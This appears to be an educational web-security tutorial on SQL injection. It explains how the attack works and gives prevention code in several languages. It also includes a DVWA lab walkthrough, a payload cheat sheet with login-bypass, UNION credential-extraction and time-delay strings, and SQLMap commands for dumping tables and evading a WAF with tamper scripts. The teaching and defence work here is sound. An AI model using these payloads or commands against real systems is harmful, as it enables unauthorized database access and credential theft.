What Is SQL Injection? Types, Examples & How to Prevent SQL Injection Attacks
What is SQL injection? See real SQL injection examples, a worked DVWA lab test, and how to prevent SQL injection with parameterized queries.
When a Text Box Drains the Database
A text box on a login page. The attacker types: ' OR 1=1 --. The database returns every user row. This is SQL Injection (SQLi) — the most damaging web application vulnerability of the past two decades. When user input is included directly in SQL queries without sanitization, attackers can read, modify, or delete your entire database.
Impact of SQL Injection
The consequences of a successful SQL injection attack can be devastating:
What Is SQL Injection?
SQL injection is a web security vulnerability that lets an attacker interfere with the queries an application makes to its database. It happens when user input is concatenated directly into a SQL statement, so the database cannot tell where the developer's SQL ends and the attacker's input begins — and the attacker's input is executed as code.
SQL injection still matters in 2026 because it is still one of the most common and most damaging web flaws. Injection sits at A03 in the OWASP Top 10:2021, and SQL injection is the best-known member of that family. Login forms, search boxes, URL parameters, and API endpoints all take input that can reach a database — and every one of them is a test point. The fix has been known for years, yet vulnerable code keeps shipping, which is why this attack still appears in breach reports and bug-bounty writeups.
How SQL Injection Works
Vulnerable Code Example
Consider a login form that builds a query by directly concatenating user input:
$query = "SELECT * FROM users WHERE username = '" . $_POST['username'] . "' AND password = '" . $_POST['password'] . "'";
When an attacker enters admin' -- as the username, the query becomes:
SELECT * FROM users WHERE username = 'admin' --' AND password = ''
The -- comments out the password check, allowing authentication as admin without knowing the password.
Data Extraction with UNION
' UNION SELECT username, password FROM users --
This adds the contents of the users table to the query results, potentially exposing all credentials.
Blind Injection Example
Time-based detection in MySQL:
' OR IF(1=1, SLEEP(5), 0) --
If the response takes 5 seconds, SQL injection is confirmed.
Types of SQL Injection
In-band SQL Injection
The attacker uses the same channel to inject code and retrieve results. This is the most common and straightforward type.
Error-based SQLi: Relies on error messages from the database to gather information about its structure. For example, intentionally causing type errors reveals column names and data types.
Union-based SQLi: Uses the UNION SQL operator to combine results from multiple queries, extracting data from other tables. The attacker must match the number of columns in the original query.
Blind SQL Injection
The attacker cannot see direct query results but can infer information based on the application's behavior.
Boolean-based Blind SQLi: Sends queries that return true or false and observes differences in application responses. For example, checking if a character in a password is greater than a specific value.
Time-based Blind SQLi: Uses database time delay functions like SLEEP() or WAITFOR to infer information based on response times. A delayed response confirms the condition was true.
Out-of-band SQL Injection
The attacker uses a different channel to receive data, such as DNS or HTTP requests. This is used when the application does not display query results or error messages.
Second-order SQL Injection
Second-order injection stores the payload first and executes it later. The attacker registers a username such as admin' --, the application stores it safely, and a different feature — a profile page, an admin panel, a report — later builds a query with that stored value without parameterization. The attack fires far from where the input entered, which is why it survives code reviews that only check the input form.
SQL Injection Types Compared
| Type | How the attacker sees results | Typical payload | Difficulty |
|---|---|---|---|
| Error-based (in-band) | Database error messages in the page | ' AND 1=CONVERT(int, @@version) -- | Easy |
| Union-based (in-band) | Extra rows in the normal page output | ' UNION SELECT username, password FROM users -- | Medium |
| Boolean-based blind | Page content changes between true and false | ' AND SUBSTRING(password,1,1)='a' -- | Medium |
| Time-based blind | Response delay confirms a true condition | ' OR IF(1=1, SLEEP(5), 0) -- | Medium |
| Out-of-band | Data arrives over DNS or HTTP to the attacker | ' UNION SELECT LOAD_FILE('/etc/passwd') -- | Hard |
| Second-order | Stored input executes in a later query | admin' -- as a stored username | Hard |
How to Prevent SQL Injection Attacks
Preventing SQL injection is a layered job. One layer — parameterized queries — does almost all of the work. The other layers exist because real applications have edge cases: dynamic table names, legacy code, stored procedures, and operations teams that need defense in depth. Apply the layers in order.
1. Use Parameterized Queries (Prepared Statements)
The most effective defense. Placeholders separate SQL code from user data: the database parses the SQL structure first, then binds the values as pure data. User input can never change the logic of the query.
Python (psycopg2 for PostgreSQL):
import psycopg2
conn = psycopg2.connect(dbname="appdb", user="app_user", password="change-me")
cursor = conn.cursor()
cursor.execute(
"SELECT * FROM users WHERE username = %s AND password = %s",
(username, password)
)
Python (sqlite3):
import sqlite3
conn = sqlite3.connect("app.db")
cursor = conn.cursor()
cursor.execute(
"SELECT * FROM users WHERE username = ? AND password = ?",
(username, password)
)
PHP (PDO — use real prepared statements):
$pdo = new PDO("mysql:host=localhost;dbname=appdb", "app_user", "change-me");
// Critical: use real prepared statements, not emulated ones
$pdo->setAttribute(PDO::ATTR_EMULATE_PREPARES, false);
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username");
$stmt->execute(['username' => $username]);
$user = $stmt->fetch();
With ATTR_EMULATE_PREPARES left at its default, PDO emulates prepared statements inside PHP instead of asking the database to prepare them. Emulation is usually safe, but real preparation removes an entire class of edge cases — set it to false and let the database do the work.
Java (PreparedStatement):
String sql = "SELECT * FROM users WHERE username = ? AND password = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, username);
stmt.setString(2, password);
ResultSet rs = stmt.executeQuery();
Node.js (mysql2):
const [rows] = await db.execute(
'SELECT * FROM users WHERE username = ? AND password = ?',
[username, password]
);
C# (SqlCommand):
using var cmd = new SqlCommand(
"SELECT * FROM users WHERE username = @username AND password = @password", conn);
cmd.Parameters.AddWithValue("@username", username);
cmd.Parameters.AddWithValue("@password", password);
ORMs — parameterized by default, but raw queries are not:
# Django ORM — parameterized automatically
user = User.objects.filter(username=username).first()
# Laravel Eloquent — parameterized automatically
$user = User::where('username', $username)->first();
# DANGER: raw SQL with string interpolation is still injectable
# NEVER do this, in any framework:
query = f"SELECT * FROM users WHERE username = '{username}'" # vulnerable
The rule is absolute: never interpolate or concatenate user input into a SQL string, even inside an ORM. Always use the framework's parameter binding.
2. Use Stored Procedures — Done Right
Use pre-compiled stored procedures instead of dynamic SQL:
CREATE PROCEDURE GetUser @Username nvarchar(50)
AS
SELECT * FROM users WHERE username = @Username
Stored procedures reduce risk, but they do not eliminate it. If a stored procedure dynamically constructs SQL with string concatenation inside the procedure, it remains vulnerable. Use parameterized stored procedures and validate all input even when using them.
3. Allow-List Input Validation
Validate input types (numeric, email, alphanumeric), whitelist allowed characters, and reject suspicious SQL patterns. Validation is a supporting layer, not a replacement for parameterization.
The one place validation is the primary defense is dynamic identifiers — table names, column names, and sort directions cannot be parameterized. Restrict them to a fixed, application-owned list:
ALLOWED_SORT_COLUMNS = {"username", "email", "created_at"}
sort = request.args.get("sort", "username")
if sort not in ALLOWED_SORT_COLUMNS:
sort = "username"
query = f"SELECT * FROM users ORDER BY {sort}" # safe: sort is allow-listed
4. Escaping Alone Is Not Enough
Escaping user-supplied input — adding backslashes before quotes, or doubling quotes — depends on the database engine, the character set, and the context of the query. It fails when the escaping function does not match the database's escaping rules, when multibyte characters are involved, or when the input lands in a numeric context with no quotes at all. Treat escaping as a legacy compatibility measure, never as the defense. Parameterization replaces it entirely.
5. Enforce Least-Privilege Database Accounts
Database accounts should have minimum necessary permissions. The account your web application uses should be able to read and write its own tables — and nothing else:
-- MySQL: create a minimal-privilege application user
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'change-me';
GRANT SELECT, INSERT, UPDATE, DELETE ON appdb.* TO 'app_user'@'localhost';
-- Deliberately NOT granted: DROP, CREATE, ALTER, FILE, SUPER, GRANT
Application accounts should not have DDL permissions. Separate read and write accounts where the application allows it. Even if injection succeeds, limited privileges prevent attackers from dropping tables or modifying schema.
6. Use a Web Application Firewall as a Last Layer
WAFs can detect and block SQL injection attempts based on known patterns. A WAF is a useful safety net — it can stop automated scanners and known payloads before they reach the application. But determined attackers bypass WAFs with encoding tricks, comment obfuscation, and case variation, so a WAF should be one layer in a defense-in-depth strategy, not the primary protection. Always implement parameterized queries at the application layer.
7. Hide Database Error Details
Verbose database errors hand the attacker the schema. Configure production to show a generic error page and log the detail server-side only:
// php.ini (production)
display_errors = Off
log_errors = On
# Flask: generic 500 page, detail goes to the log only
@app.errorhandler(500)
def server_error(error):
app.logger.exception("Database error")
return "Something went wrong. Please try again later.", 500
Error-based SQL injection depends on the application leaking database errors. Removing the leak removes the entire error-based class.
Worked Example: Finding and Fixing SQL Injection on a DVWA Lab
This example runs entirely on a lab you own: DVWA (Damn Vulnerable Web Application) on localhost with security level set to Low. Never run these tests against a site you do not own or have written authorization to test.
Step 1: Find the injection point
Open the DVWA SQL Injection page and enter a single quote in the user-ID field:
Input: '
Result: You have an error in your SQL syntax; check the manual that
corresponds to your MySQL server version for the right syntax to use
near ''' at line 1
A database syntax error from a single quote is the classic confirmation: the input reaches the SQL query unescaped. (All outputs in this example are illustrative.)
Step 2: Return every row with a boolean payload
Enter the boolean payload in the same field:
Input: ' OR 1=1 --
Result: the page returns the first user row instead of an error
The query the application builds is now:
SELECT first_name, last_name FROM users WHERE user_id = '' OR 1=1 --'
1=1 is always true, so the WHERE clause matches every row, and -- comments out the rest of the original query.
Step 3: Count the columns with ORDER BY
UNION-based extraction needs the same number of columns as the original query. Probe with ORDER BY until the page errors:
Input: ' ORDER BY 1 -- -> works
Input: ' ORDER BY 2 -- -> works
Input: ' ORDER BY 3 -- -> error: Unknown column '3' in 'order clause'
The query has 2 columns.
Step 4: Extract data with UNION SELECT
Input: ' UNION SELECT user, password FROM users --
Result: rows from the users table appear in the page output
To learn the database structure first, enumerate it the same way:
' UNION SELECT table_name, column_name FROM information_schema.columns --
Step 5: Fix the same page with a parameterized query
The vulnerable PHP builds the query by concatenation. The fix replaces concatenation with a prepared statement:
// VULNERABLE — do not use
$query = "SELECT first_name, last_name FROM users WHERE user_id = '" . $_GET['id'] . "'";
// FIXED — parameterize the input
$stmt = $pdo->prepare("SELECT first_name, last_name FROM users WHERE user_id = :id");
$stmt->execute(['id' => $_GET['id']]);
Re-run the same payloads against the fixed page: the single quote returns no rows (or a clean "no user found" message), ' OR 1=1 -- matches nothing, and the UNION payload is treated as a literal ID string. The attack is gone because the input can no longer change the query's structure.
Testing for SQL Injection
Manual Testing Workflow
Look for inputs such as search fields, login forms, URL parameters, and API endpoints. Test with simple payloads, in this order:
'--, #' OR '1'='1, ' AND '1'='0' OR SLEEP(5)--' UNION SELECT NULL, NULL -- (adjust the NULL count to the column count you found with ORDER BY)Work through the workflow deliberately: map every input, probe with a quote, confirm with a boolean true/false pair, escalate to UNION or time-based only after confirmation, and record every finding with the exact payload and response.
Automated Tools
SQLMap is the most popular automated SQL injection tool:
# Basic scan
sqlmap -u "http://example.com/page?id=1" --batch
# Enumerate databases
sqlmap -u "http://example.com/page?id=1" --dbs
# Extract tables
sqlmap -u "http://example.com/page?id=1" -D database --tables
# Dump data
sqlmap -u "http://example.com/page?id=1" -D database -T users --dump
# Deeper scan: test all techniques, higher level and risk
sqlmap -u "http://example.com/page?id=1" --batch --technique=BEUSTQ --level=3 --risk=2
# POST form data (capture the request from Burp Suite first)
sqlmap -u "http://example.com/login" --data="username=test&password=test" --batch
# WAF in front of your own lab: try tamper scripts (lab only, authorized targets only)
sqlmap -u "http://example.com/page?id=1" --batch --tamper=space2comment
| Tool | What it is used for |
|---|---|
| SQLMap | Automated detection and exploitation; enumerates databases, tables, and data |
| Burp Suite Repeater | Manual payload testing, one request at a time, with full response inspection |
| Burp Suite Intruder | Automating payload lists (boolean/time probes) across many inputs |
| OWASP ZAP | Automated scanning plus manual request editing; free alternative to Burp |
| Wapiti | Command-line web vulnerability scanner with SQL injection checks |
SQL Injection Cheat Sheet
Detection Payloads
| Goal | Payload |
|---|---|
| Confirm injection | ' |
| Boolean true | ' OR '1'='1 |
| Boolean false | ' AND '1'='0 |
| Comment out the rest | ' -- (MySQL, PostgreSQL, MSSQL, Oracle) or ' # (MySQL) |
| Find column count | ' ORDER BY 1 --, increase until error |
| UNION extraction | ' UNION SELECT NULL, NULL -- (match column count) |
| MySQL time delay | ' OR IF(1=1, SLEEP(5), 0) -- |
| PostgreSQL time delay | ' OR pg_sleep(5) -- |
| MSSQL time delay | ' OR WAITFOR DELAY '0:0:5' -- |
| Oracle time delay | ' OR DBMS_LOCK.SLEEP(5) -- (needs execute privilege) |
| Enumerate tables (MySQL) | ' UNION SELECT table_name, NULL FROM information_schema.tables -- |
| Enumerate columns (MySQL) | ' UNION SELECT column_name, NULL FROM information_schema.columns WHERE table_name='users' -- |
| Current database version | ' UNION SELECT @@version, NULL -- |
Prevention Quick Reference
| Language / framework | Correct pattern |
|---|---|
| Python (psycopg2) | cursor.execute("... WHERE username = %s", (username,)) |
| Python (sqlite3) | cursor.execute("... WHERE username = ?", (username,)) |
| PHP (PDO) | prepare() + execute() with ATTR_EMULATE_PREPARES = false |
| Java | PreparedStatement with ? and setString() |
| Node.js (mysql2) | db.execute("... WHERE username = ?", [username]) |
| C# | SqlCommand with @username parameters |
| Django / Laravel / Spring | ORM query methods (never raw SQL with interpolation) |
| Dynamic identifiers | Allow-list of fixed column/table names only |
SQLMap Quick Reference
| Task | Command |
|---|---|
| Basic scan | sqlmap -u "URL" --batch |
| List databases | sqlmap -u "URL" --dbs |
| List tables | sqlmap -u "URL" -D db --tables |
| Dump a table | sqlmap -u "URL" -D db -T users --dump |
| Test POST data | sqlmap -u "URL" --data="a=1&b=2" --batch |
| All techniques | sqlmap -u "URL" --technique=BEUSTQ --level=3 --risk=2 |
| Current user / DB | sqlmap -u "URL" --current-user --current-db |
SQL Injection vs XSS vs CSRF vs Command Injection
| Vulnerability | What it targets | Attacker goal | Primary fix |
|---|---|---|---|
| SQL injection | The application's database queries | Read, modify, or delete database data | Parameterized queries |
| Cross-site scripting (XSS) | The victim's browser | Run scripts in another user's session | Context-aware output encoding + Content Security Policy |
| Cross-site request forgery (CSRF) | The victim's authenticated session | Make the browser issue unwanted requests | Anti-CSRF tokens + SameSite cookies |
| Command injection | The server's operating system shell | Execute OS commands on the server | Avoid shell calls; allow-listed arguments only |
SQL injection, XSS, and CSRF are often confused because they all start with attacker-controlled input. The difference is where the injected code runs: SQL injection runs in the database, XSS runs in the victim's browser, CSRF abuses the victim's session, and command injection runs in the server's shell.
Database-Specific Considerations
MySQL
Comments with -- and #, information schema in information_schema, version with @@version. Time delay with SLEEP(5). Stacked queries are not supported through most PHP MySQL drivers, which limits some attacks but does not prevent UNION or blind injection.
PostgreSQL
Comments with --, supports stacked queries with ;. Time delay with pg_sleep(5). Version with version(). The information_schema works the same way as in MySQL.
MSSQL
Comments with --, system tables in sys.tables, dangerous extended procedures like xp_cmdshell. Time delay with WAITFOR DELAY '0:0:5'. Stacked queries are supported, and xp_cmdshell can turn a SQL injection into operating-system command execution if the database account has the privilege — another reason least privilege matters.
Oracle
Comments with --, uses the dual table, string concatenation with ||. Time delay with DBMS_LOCK.SLEEP(5), which requires execute privilege on that package and is often unavailable. Version with SELECT banner FROM v$version. Error-based extraction frequently uses UTL_INADDR or CTXSYS functions in older versions.
Troubleshooting SQL Injection Problems
| Problem | Likely cause | Fix |
|---|---|---|
| SQLMap finds nothing | Scan level too low, or the parameter needs cookies/auth | Re-run with --level=3 --risk=2 and --cookie from an authenticated session |
| WAF blocks every payload | The WAF filters known patterns before the app sees them | Test in your own lab without the WAF; use --tamper only on authorized lab targets |
| Time-based tests give false positives | Slow network or a loaded server looks like a delay | Repeat the test several times and increase the delay to 10 seconds |
| Prepared statements still injectable | User input in ORDER BY, table, or column names | Allow-list identifiers — placeholders cannot protect structural SQL |
| UNION fails with a column-count error | Wrong number of columns in the SELECT | Probe the count with ORDER BY until it errors, then match it |
| Stored procedure still vulnerable | Dynamic SQL built by concatenation inside the procedure | Parameterize inside the procedure too; never build SQL from strings |
| No error messages to work with | Errors are hidden in production | Switch to boolean-based or time-based blind techniques |
| SQLMap keeps asking questions | Interactive mode on a long scan | Add --batch to accept the defaults non-interactively |
Common Mistakes
ATTR_EMULATE_PREPARES to false.Best Practices
Is SQL Injection Testing Legal?
Testing for SQL injection is legal only on systems you own or have written authorization to test. Lab environments such as DVWA, OWASP Juice Shop, and WebGoat exist exactly for this: install them locally, set the security level to Low, and practice freely. Testing a live site without permission is unauthorized access even when your intent is to help, and many bug-bounty programs only cover targets listed in their scope. Get authorization in writing before testing anything that is not yours.
Summary
SQL injection happens when user input becomes part of a SQL query instead of data inside it. The attack ranges from a login bypass with ' OR 1=1 -- to full database extraction with UNION SELECT, and blind variants work even when the application shows no results at all. The fix is layered but simple at its core: parameterize every query, validate input against an allow-list, run the application on a least-privilege database account, hide error details, and keep a WAF as a safety net rather than the defense. Test your own applications the way this article tests DVWA — and fix what you find before an attacker does.
SQL injection remains a critical threat despite being well-understood. Using parameterized queries, validating input, and conducting regular security testing can eliminate this vulnerability from your applications.
Knowledge Check
' OR 1=1 -- do in a vulnerable login form?Answers: 1. User input concatenated directly into a SQL query, so the database executes it as code instead of treating it as data. 2. Parameterized queries (prepared statements), which separate the SQL structure from the data values. 3. It forces real prepared statements at the database instead of emulated ones inside PHP. 4. It makes the WHERE clause always true and comments out the password check, so the query returns rows without a valid password. 5. Use blind SQL injection: boolean-based probes that change page behavior, or time-based probes such as SLEEP(5) that delay the response. 6. Placeholders protect data values only; table names, column names, and sort directions are structural SQL and must be restricted with an allow-list. 7. --dbs. 8. pg_sleep(5); MySQL uses SLEEP(5), MSSQL uses WAITFOR DELAY, and Oracle uses DBMS_LOCK.SLEEP(5).
Keep Learning
Frequently Asked Questions
Continue Learning
What Is CSRF? Cross-Site Request Forgery Examples & How to Prevent CSRF Attacks
What is CSRF? Learn how cross-site request forgery tricks your browser into unwanted actions, see real examples and a DVWA worked test, and follow 7 steps to prevent CSRF attacks with tokens, SameSite cookies and framework protection.
Web Security · IntermediateWhat Is IDOR? Insecure Direct Object Reference Examples & How to Prevent IDOR Attacks
What is IDOR? See real insecure direct object reference examples, a worked lab test with Burp Suite, and how to prevent IDOR with server-side checks.
Web Security · IntermediateWhat Is SSRF? Server-Side Request Forgery Examples & How to Prevent SSRF Attacks
What is SSRF? See real server-side request forgery examples, a worked lab test, and how to prevent SSRF attacks with allowlists, IMDSv2 and egress controls.
Web Security · BeginnerOWASP Top 10 2025: All 10 Risks Explained With Examples & How to Test Them
OWASP Top 10 2025 explained: all 10 risks with real examples, what changed from 2021, and how to test each one in Kali Linux, plus a cheat sheet.
Related Security Tools
SQLMap
SQLMap is an open-source penetration testing tool that automates SQL injection detection and exploitation. It supports six SQL injection techniques (boolean-based blind, time-based blind, error-based, UNION query-based, stacked queries, and out-of-band) and over 30 database backends including MySQL, Oracle, PostgreSQL, Microsoft SQL Server, and many more.
Web ApplicationBurp Suite
Burp Suite is the industry-standard web application security testing platform from PortSwigger, free as Community Edition on Kali Linux. Learn how to use Burp Suite: install it, route your browser through its proxy, intercept your first request, and test it with Repeater and Intruder.
Vulnerability AnalysisNikto
Learn how to use Nikto, an open-source web server scanner written in Perl and pre-installed on Kali Linux, to audit servers you own or have written permission to test. Its 6700+ checks for potentially dangerous files and programs, plus tests for outdated software and misconfigurations, highlight issues that need verification.
Web SecuritySecurity Headers Checker
Check HTTP security headers (CSP, HSTS, X-Frame-Options, X-XSS-Protection, Referrer-Policy, and more) with security scoring.